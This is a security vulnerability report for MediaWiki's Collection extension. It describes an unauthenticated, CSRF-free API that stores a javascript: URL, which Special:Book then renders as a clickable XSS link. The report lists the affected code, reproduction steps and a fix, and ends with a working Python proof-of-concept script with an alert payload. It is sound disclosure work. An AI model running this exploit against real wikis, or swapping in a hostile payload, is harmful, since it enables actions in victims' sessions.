Reporter: Marco Paciaroni
Credit: bombobombone
REPORT
Collection API permits a session-seeded javascript: URL XSS
Summary
The Collection postcollection API accepts arbitrary JSON and stores it in the requester's wsCollection session value. The item URL is later copied into the "show article" link on Special:Book. The template applies HTML escaping but does not restrict the URL scheme, so a supplied javascript: URL remains an executable link.
The API is reachable without authentication and does not require a token. An attacker can send a cross-site GET that seeds a victim's collection. When the victim opens Special:Book and clicks the generated show-article control, JavaScript executes in the wiki origin.
Affected code
- Collection/includes/Api/ApiCollection.php:18-40,67-75 dispatches the postcollection submodule through action=collection.
- Collection/includes/Api/ApiPostCollection.php:47-60 decodes attacker input, forces enabled, and writes the collection to the session without authentication, POST, or a CSRF token requirement.
- Collection/templates/CollectionListTemplate.php:70-75 copies item['url'] into an href and only calls htmlspecialchars(); it does not validate the URL scheme.
Preconditions
No account or special permission is required for the attacker. The victim must have a MediaWiki session, later open Special:Book, and activate the crafted show-article link.
Reproduction
- Run the PoC below against an authorized MediaWiki instance.
- Open Special:Book in the same browser session.
- Click the show-article icon for Main Page.
- A harmless alert displaying COLLECTION_URL_XSS appears.
The postcollection GET can also be used as a top-level cross-site navigation to seed a victim session when the site's cookie policy permits it.
Impact
This is a stored, session-seeded XSS reachable without an account. JavaScript executed in the wiki origin can act with the victim's browser privileges, including reading page data and submitting state-changing requests available to that victim. User interaction with the generated show link is required.
Suggested remediation
Validate collection item URLs before storing or rendering them. For article links, construct the target from a validated Title and reject all schemes other than the expected local HTTP(S) URL. Do not rely on htmlspecialchars() for URL-scheme safety. Treat postcollection as a state-changing API module and require POST plus a CSRF token.
PROOF OF CONCEPT
Save as poc.py and run with Python 3:
#!/usr/bin/env python3 import argparse import html import json import re import sys import urllib.error import urllib.parse import urllib.request from http.cookiejar import CookieJar def get(opener, url): request = urllib.request.Request( url, headers={"User-Agent": "MediaWiki-Collection-URL-XSS-PoC/1.0"}, ) with opener.open(request, timeout=20) as response: return response.status, response.read().decode("utf-8", "replace") def main(): parser = argparse.ArgumentParser( description="Show that Collection renders an attacker-controlled javascript: URL." ) parser.add_argument("--base-url", default="http://127.0.0.1:4002") parser.add_argument("--alert-text", default="COLLECTION_URL_XSS") args = parser.parse_args() base = args.base_url.rstrip("/") api = base + "/w/api.php" special_book = base + "/wiki/Special:Book" payload = { "title": "Collection URL XSS validation", "subtitle": "", "settings": {}, "items": [{ "type": "article", "content_type": "text/x-wiki", "title": "Main Page", "revision": "1", "latest": "1", "timestamp": "1", "url": "javascript:alert(" + repr(args.alert_text) + ")", "currentVersion": 1, }], } query = urllib.parse.urlencode({ "action": "collection", "submodule": "postcollection", "collection": json.dumps(payload, separators=(",", ":")), "format": "json", }) opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(CookieJar()) ) try: post_status, _ = get(opener, api + "?" + query) page_status, page_body = get(opener, special_book) except (urllib.error.HTTPError, urllib.error.URLError) as exc: print(f"validation failed: {exc}", file=sys.stderr) return 1 expected = "javascript:alert(" + repr(args.alert_text) + ")" decoded = html.unescape(page_body) links = re.findall( r'<a\s+href="([^"]+)"[^>]*title="Show"', decoded ) vulnerable = expected in links print(f"postcollection HTTP status: {post_status}") print(f"Special:Book HTTP status: {page_status}") generated = expected if vulnerable else "not found" print(f"Generated show-link: {generated}") print(f"Vulnerable link present: {vulnerable}") if not vulnerable: print("The executable URL was not rendered; do not report this result.") return 1 print("Open Special:Book and click the show-article icon for Main Page.") print(f"The harmless alert displays: {args.alert_text}") return 0 if __name__ == "__main__": raise SystemExit(main())
The script validates the server-side flow and generated link. It does not contact Wikimedia production.
Thank you,
Marco Paciaroni